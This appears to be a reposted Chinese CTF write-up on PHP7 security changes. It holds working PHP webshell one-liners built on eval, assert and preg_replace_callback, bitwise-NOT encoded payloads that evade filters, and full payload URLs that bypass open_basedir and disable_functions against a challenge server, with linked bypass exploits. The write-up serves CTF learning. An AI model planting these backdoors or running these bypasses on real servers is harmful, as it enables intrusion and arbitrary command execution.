[转+自]关于PHP7的新特性(涉及取反和disabled_functions绕过)
PHP7和PHP5上的安全区别
preg_replace()不再支持/e修饰符
利用\e修饰符执行代码的后门大家也用了不少了,具体看官方的这段描述:
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.
PHP5:
<?php preg_replace("/.*/e",$_GET["h"],".");?> PHP7:
<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]);?> OR: <?php
function backdoor($a)
{
// 通常: $a[0]是完成的匹配
// $a[1]是第一个捕获子组的匹配
// 以此类推
return eval($a[0]);
}
echo preg_replace_callback("/.*/",backdoor,$_GET["z"]);
?>
create_function()被废弃
<?php
$func =create_function('',$_POST['cmd']);$func();
?>
unserialize()增加一个可选白名单参数
略过。。
assert()默认不再可以任意执行代码(assert和eval的区别)
这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~
提一下,菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。
这里说一下assert和eval的区别。
php7中规定了php.ini中的zend.assertions来限制assert。我自己实验,ubuntu安装php7.0后,zend.assertions=-1,默认并不是1。

eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo())
直接传递普通代码是无法执行的,如:assert('echo 1;');
需要换成assert(eval('echo 1;'));
还有php中有可变函数的定义,比如

但是eval()是语言结构,并不是函数,不能作为这样来调用,所以为什么一句话木马里没有将eval用字符串拼接替换,而是用assert(在7.1之前),7.1的新特性就是assert作为语言结构,不能再动态的去执行,比如$_POST['1']($_POST['2']);1=assert,2=system('ls')。
但是我测试了很多次,发现php7.0中依然assert可以作为可变函数去执行,命令,并不是像eval一样的语言结构,无法作为可变函数,assert再7.0.12,7.1中依然可以作为可变函数。
但是assert确实无法作为一句话木马,经过测试php7.0中仍然可以通过$_POST['1']($_POST['2'])来实现一句话木马功能,但是7.1中,assert(xx) xx只能是函数,而不是作为字符串。


常见语言结构列表
echo() print() die() isset() unset() include(),注意,include_once()是函数 require(),注意,require_once()是函数 array() list() empty()
十六进制字符串不再被认为是数字
这个修改一出,以后CTF套路会少很多啊~
很多骚操作都不能用了~
可以见ISCC的一道题目,intval处理不了16进制字符串返回0,+1,被强制转化10进制+1
不向后兼容的变更(移除了 ASP 和 script PHP 标签)
现在只有<?php ?>这样的标签能在php7上运行
- 移除
<script language="php">和<%这两种另类的php标签 - 废弃容易导致变量覆盖的无第二个参数的
parse_str
php7函数调用解析方式,实际题目分析
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE); // ?>
这道题目时evoA师傅在极客大挑战中出的一道题目,相比上面的那道题目,这道题目不是简单的让我们去执行函数了,而是让我们通过限制,去进行目录查看执行命令等操作。仍然是用原来的方法,使用“~”
$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo

执行一下phpinfo,查看一下被禁用的函数:

pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl
可以发现我们常用的执行系统命令的函数都被禁掉了,不过不要紧,我们先尝试读取系统目录,这里使用scandir函数
print_r(scandir('./'));
进行编码操作
%8F%8D%96%91%8B%A0%8D # print_r
%8C%9C%9E%91%9B%96%8D # scandir
尝试读取当前目录
(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));

发现了readflag和flag文件,尝试一下直接读取flag
readfile('/flag');
编码一下
%8D%9A%9E%9B%99%96%93%9A # readfile
%D0%99%93%9E%98 # /flag
尝试读取一下readflag文件
(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));

可以看出是一个二进制文件,我们需要执行/readflag文件来读取字符串,但是我们常用执行系统函数的方法都被禁止了,但是经过fuzz发现,php的assert函数没有被禁止,我们可以使用assert函数写shell
assert($_POST['a']);
编码一下
%9E%8C%8C%9A%8D%8B # assert
%DB%A0%AF%B0%AC%AB # $_POST
%9E # a
尝试一下
(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);

//讲一下,这里我自己实验了下,貌似不能这种用法,带$_POST['x']这样的取反,只能函数中套函数。可能我深入的还不够,有师傅知道的,麻烦告诉我。
网页没有正常运行,继续尝试别的方法
在查看tmp目录下发现有其他内容

…某不知名大型跑马场,有现成的就很方便了,随便读一个shell看看内容

尝试文件包含一下
assert(include("hack.php"););
编码一下,执行命令
(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));

//说说这里为什么直接结合了include和hack.php,因为include是结构语言,不是函数,因此不能作为可变函数调用,而是作为一个整体调用。
成功执行,使用蚁剑链接一下,上传我们的bypass脚本和拓展库,分享一下常用的两个

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
这个过程就不演示了,主要就是演示一下最后的利用,包含我们上传的文件
assert(include("ssll.php"););
(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);
执行命令

成功拿到了flag。有了前面两道题目的基础,我们继续研究最后一道题目
我跟着这位师傅的文章,通过LD_PRELOA绕过获得flag,蚁剑的插件脚本没有成功。

好巧不巧,今天帮忙做的EIS的web第一题,ezbypass也是bypass disable_functions的题目,与SYC的异曲同工。
ezbypass

查看phpinfo


先绕过open_basedir()去根目录查看文件
payload:
http://111.186.57.61:10101/?src=&cmd=mkdir(%22/tmp/yunying%22);chdir(%27/tmp/yunying/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27));

readflag,好像在红帽杯看到过这样的。是一个elf文件,要通过执行readflag去获取flag,flag是没权限直接去读的,必须通过readflag才行。
/flag

/readflag

但是我们这里看到,disable_functions中禁止了mail和putenv,这样的话,就不能通过LD_PRELOAD来绕过了。先去读下/tmp目录下的东西吧,估计有预置的马儿。
这里就很像syc的里面的题目的流程了,随便拿一个php看看


我们可以通过assert包含马儿,然后通过绕过open_basedir的方法,直接连上马儿,直接能跨目录浏览。
url地址:
http://111.186.57.61:10101/?src=&cmd=chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');assert(include(%27/tmp/test.php%27));
连接密码:
cmd
结合绕过open_basedir和assert文件包含马儿,蚁剑连接后,可以绕过open_basedir的限制

蚁剑上的绕过disable_functions插件不是太好用。既然这里的LD_PRELOAD不好用,那就用json反序列化来绕过disable_functions
https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
传入/tmp中,命令改为/readflag

然后通过刚刚的包含去读到exploit.php
payload:
http://111.186.57.61:10101/?src=&cmd=chdir(%27/tmp%27);assert(include(%27exploit.php%27));

第三道题目是有关waf的bypass,独立出一篇文章记录
学习文章:https://www.jianshu.com/p/40abc594a118
https://www.jianshu.com/p/40abc594a118
http://www.pdsdt.lovepdsdt.com/index.php/2019/10/17/php7-%E5%87%BD%E6%95%B0%E7%89%B9%E6%80%A7%E5%88%86%E6%9E%90/
[转+自]关于PHP7的新特性(涉及取反和disabled_functions绕过)的更多相关文章
- php7.0 和 php7.1新特性
PHP7.1 新特性 1.可为空(Nullable)类型 类型现在允许为空,当启用这个特性时,传入的参数或者函数返回的结果要么是给定的类型,要么是 null .可以通过在类型前面加上一个问号来使之成为 ...
- 浅谈PHP7的新特性
我以前用过的php的最高版本是php5.6.在换新工作之后,公司使用的是PHP7.据说PHP7的性能比之前提高很多.下面整理下php7的新特性.力求简单了解.不做深入研究. 1.变量类型声明 函数的参 ...
- 《PHP7底层设计与源码实现》学习笔记1——PHP7的新特性和源码结构
<PHP7底层设计与源码实现>一书的作者陈雷亲自给我们授课,大佬现身!但也因此深感自己基础薄弱,遂买了此书.希望看完这本书后,能让我对PHP7底层的认识更上一层楼.好了,言归正传,本书共1 ...
- PHP7.x新特性
1.太空船操作符太空船操作符用于比较两个表达式. 当$a小于. 等于或大于$b时它分别返回-1. 0或1. // Integers echo 1 <=> 1; // 0 echo 1 &l ...
- php7的新特性
新增操作符1.??$username = $_GET['user'] ?? '';$username = isset($_GET['user']) ? $_GET['user'] : 'nobody' ...
- PHP7.1新特性一览
PHP7.0的性能是PHP5.6的两倍 http://www.phpchina.com/article-40237-1.html 可空类型 list 的方括号简写 void 返回类型 类常量属性设定 ...
- PHP7.0新特性
http://blog.csdn.net/h330531987/article/details/74364681 反射 闭包 trait 还有数组
- [PHP7.0-PHP7.2]的新特性和新变更
php7发布已经升级到7.2.里面发生了很多的变化.本文整理php7.0至php7.2的新特性和一些变化. 参考资料: http://php.net/manual/zh/migration70.new ...
- php 7.0 新特性
php 7 主题是性能优化 SEO 之前版本:开发效率快,语言本身性能差 普通的php网站:IO密集型,瓶颈在mysql上,体现不出来php的性能劣势,在密集计算方面比C,C++,JAVA差几十倍甚 ...
随机推荐
- 使用一行Python代码从图像读取文本
处理图像不是一项简单的任务.对你来说,作为一个人,很容易看着某样东西然后马上知道你在看什么.但电脑不是这样工作的. 对你来说太难的任务,比如复杂的算术,或者一般意义上的数学,是计算机毫不费力就能完成的 ...
- Codeforces 杂题集 2.0
记录一些没有写在其他随笔中的 Codeforces 杂题, 以 Problemset 题号排序 1326D2 - Prefix-Suffix Palindrome (Hard version) ...
- CSS3+CSS+HTML实现网页
效果图: 代码实现: 样式部分style.css: *{ margin:; padding:; } body{ background-color: #673929; font-size: 16px; ...
- 实验四 数据查询3-group by等
实验四 数据库查询 一. 实验内容: 1. Group by语句 2. Having 语句 3. Order by语句 4. Limit语句 5. Union语句 6. Handler语句 二. ...
- CodeForces 277A 红娘问题(并查子集)
题目链接 思路如下 这题可以普通的并查集来做,我们把每个人认识的红娘,放到一个同一个集合里面,然后通过 for循环 遍历出现过的编号,看总共有几个集合,当集合的个数大于1的时候,需要的话费rmb的数量 ...
- 【tensorflow2.0】处理文本数据
一,准备数据 imdb数据集的目标是根据电影评论的文本内容预测评论的情感标签. 训练集有20000条电影评论文本,测试集有5000条电影评论文本,其中正面评论和负面评论都各占一半. 文本数据预处理较为 ...
- Metrics:如何让线上应用更加透明?
1. 上期我们结合<SRE Google 运维解密>,对监控系统进行了一次脉络梳理,知道一旦离开了监控系统,我们就没法辨别一个服务是不是在正常提供服务,就如同线上的服务在随风裸奔. 文章分 ...
- python class类的属性应用及init初始化实践 ---勇者斗恶龙
最近在熟悉python的基础语法,刚好老师布置了个课后作业感觉挺有意思的,就记录下来了学习过程. 题目如下: 刚拿到题目就想到了init 初始化属性,还列了下思路:(ps:notepad++写的比较糙 ...
- 标准与扩展ACL
标准与扩展ACL 案例1:配置标准ACL 案例2:配置扩展ACL 案例3:配置标准命名ACL 配置扩展命名ACL 1 案例1:配置标准ACL 1.1 问题 络调通后,保证网络是通畅的.同时也很可能出现 ...
- 提示要安装Python-OpenSSL
PyOpenSSL是OpenSSL的python接口,用于提供加密传输支持(SSL),如果没用该模组,会导致goagent无法生成证书而影响使用. 若系统没有openssl,先安装openssl,** ...